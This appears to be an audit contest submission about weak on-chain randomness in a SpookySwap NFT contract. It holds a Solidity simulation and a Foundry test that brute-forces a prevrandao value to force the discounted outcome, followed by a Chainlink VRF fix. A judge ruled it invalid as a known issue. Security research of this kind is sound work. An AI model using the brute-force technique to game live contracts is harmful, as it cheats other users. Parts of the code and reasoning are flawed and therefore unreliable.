Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Invalid

the Vulnerability of Manipulatable Randomness

Overview

The SpookySwap smart contract introduces a random element in its trickOrTreat function, where users have a chance to receive a discount (treat) or pay double the price (trick) for purchasing an NFT. The randomness is generated using on-chain variables that can be influenced or predicted, leading to a vulnerability where users or miners can manipulate the outcome to their advantage.


Vulnerability Description

Randomness Generation Mechanism:

In the trickOrTreat function, the contract generates a pseudo-random number as follows:

uint256 random =
uint256(
keccak256(
abi.encodePacked(
block.timestamp,
msg.sender,
nextTokenId,
block.prevrandao
)
)
) % 1000 + 1;

Variables Used:

  • block.timestamp: The timestamp of the current block.

  • msg.sender: The address of the user calling the function.

  • nextTokenId: The next token ID to be minted.

  • block.prevrandao: A value that can be influenced by miners.

Issue:

  • Predictable Inputs: Except for block.prevrandao, all inputs are either known or controllable by the user.

  • Miner Influence: Miners can manipulate block.timestamp and have control over block.prevrandao (previously known as block.difficulty in older versions).

  • Manipulatable Randomness: Users and miners can influence the random number generation to consistently receive favorable outcomes (e.g., always getting a discount or avoiding the trick).


Proof of Concept

To demonstrate how an attacker can manipulate the randomness, we'll provide a simplified example using Solidity code. This proof of concept shows how a user can predict and influence the random number to receive a discount consistently.

Note: This example is for educational purposes to illustrate the vulnerability. In practice, exploiting this vulnerability on the mainnet would be complex due to the difficulty in controlling block.prevrandao.


Step-by-Step Explanation

  1. Attacker's Goal:

    • To manipulate the random number so that it equals 1, which gives a 1/1000 chance of getting the treat (half price).

  2. Controllable Variables:

    • msg.sender: The attacker controls their own address.

    • nextTokenId: Can be read from the contract's public state variable.

    • block.timestamp: Partially controllable by miners or predictable if transactions are timed correctly.

    • block.prevrandao: Miners have control over this value.

  3. Attacker's Strategy:

    • The attacker can attempt to predict the random number by simulating the hash calculation off-chain using known or guessed values.

    • By adjusting the timing of their transaction and repeatedly attempting, they increase the chances of achieving the desired random number.


Attack Simulation Code

Below is a simplified code snippet that simulates how an attacker might predict the random number:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract RandomnessAttackSimulation {
function simulateRandom(
uint256 blockTimestamp,
address sender,
uint256 nextTokenId,
uint256 blockPrevRandao
) public pure returns (uint256) {
uint256 random =
uint256(
keccak256(
abi.encodePacked(
blockTimestamp,
sender,
nextTokenId,
blockPrevRandao
)
)
) % 1000 + 1;
return random;
}
}

Explanation:

  • The attacker can use this function off-chain to simulate different combinations of block.timestamp and block.prevrandao to find when random == 1.

  • Since sender and nextTokenId are known, and block.timestamp can be estimated, the attacker focuses on varying block.prevrandao.


Demonstration in a Test Environment

In a testing environment like Foundry, we can simulate the attacker's ability to manipulate the variables:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/SpookySwap.sol";
contract SpookySwapAttackTest is Test {
SpookySwap public spookySwap;
function setUp() public {
// Deploy the contract with a sample treat
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
treats[0] = SpookySwap.Treat("Candy", 1 ether, "ipfs://sample_uri");
spookySwap = new SpookySwap(treats);
}
function testManipulateRandomness() public {
address attacker = address(0xA);
uint256 nextTokenId = spookySwap.nextTokenId();
// Simulate block variables
uint256 simulatedTimestamp = block.timestamp;
uint256 desiredRandom = 1; // Desired outcome for half price
uint256 modulus = 1000;
// Fund attacker
vm.deal(attacker, 1 ether);
// Start acting as attacker
vm.startPrank(attacker);
// Attempt to find a block.prevrandao that results in random == 1
uint256 foundPrevRandao = bruteForcePrevRandao(
desiredRandom,
modulus,
simulatedTimestamp,
attacker,
nextTokenId
);
// Set the block.prevrandao to the found value
vm.prevrandao(bytes32(foundPrevRandao));
// Call the function
spookySwap.trickOrTreat{value: 1 ether}("Candy");
// Stop acting as attacker
vm.stopPrank();
// Assertions can be added here to verify the attacker's balance and ownership
}
function bruteForcePrevRandao(
uint256 desiredRandom,
uint256 modulus,
uint256 timestamp,
address sender,
uint256 tokenId
) internal pure returns (uint256) {
for (uint256 i = 0; i < 10000; i++) {
uint256 prevrandao = i;
uint256 random = uint256(
keccak256(
abi.encodePacked(
timestamp,
sender,
tokenId,
bytes32(prevrandao)
)
)
) % modulus + 1;
if (random == desiredRandom) {
return prevrandao;
}
}
revert("Suitable prevrandao not found");
}
}

Explanation:

  • Brute-Force Approach: The bruteForcePrevRandao function attempts to find a block.prevrandao value that results in random == 1.

  • Simulation: In a test environment, we can set block.prevrandao to any value using cheat codes like vm.prevrandao(bytes32(foundPrevRandao));.

  • Limitations: In a real-world scenario, a regular user cannot set block.prevrandao, but miners might influence it.


Impact

  • User Manipulation: Users might repeatedly attempt transactions at specific times to increase the chances of favorable outcomes.

  • Miner Exploitation: Miners can manipulate block.timestamp and block.prevrandao to benefit themselves or specific users.

  • Unfair Advantages: The randomness is not truly random, compromising the fairness and integrity of the contract.


Recommendation

Use a Secure Randomness Source:

  • Chainlink VRF: Integrate Chainlink's Verifiable Random Function (VRF) to obtain secure, tamper-proof randomness.

  • Example Integration:

    import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
    contract SpookySwap is ERC721URIStorage, Ownable, ReentrancyGuard, VRFConsumerBase {
    bytes32 internal keyHash;
    uint256 internal fee;
    mapping(bytes32 => address) requestToSender;
    mapping(bytes32 => string) requestToTreatName;
    constructor(...)
    VRFConsumerBase(
    0x... , // VRF Coordinator
    0x... // LINK Token
    )
    {
    keyHash = 0x...;
    fee = 0.1 * 10 ** 18; // Adjust fee as necessary
    }
    function trickOrTreat(string memory _treatName) public payable nonReentrant {
    // Request random number
    bytes32 requestId = requestRandomness(keyHash, fee);
    requestToSender[requestId] = msg.sender;
    requestToTreatName[requestId] = _treatName;
    }
    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
    address user = requestToSender[requestId];
    string memory treatName = requestToTreatName[requestId];
    // Use randomness securely
    uint256 random = randomness % 1000 + 1;
    // Proceed with the rest of the logic using the secure random number
    }
    }

Benefits:

  • Unbiased Randomness: Ensures that neither users nor miners can manipulate the outcome.

  • Security Assurance: Chainlink VRF provides cryptographic proofs of randomness.


Conclusion

The use of on-chain variables like block.timestamp, msg.sender, and block.prevrandao for randomness in the SpookySwap contract introduces a vulnerability where users or miners can manipulate outcomes. By switching to a secure randomness source like Chainlink VRF, the contract can prevent such manipulations and ensure fairness for all users.


Disclaimer:

The code examples provided are for educational purposes to illustrate the vulnerability and how it can be mitigated. It is essential to thoroughly test and audit any changes before deploying them to a production environment.

Updates

Appeal created

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[invalid] Weak randomness

It's written in the README: "We're aware of the pseudorandom nature of the current implementation. This will be replaced with Chainlink VRF in later builds." This is a known issue.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.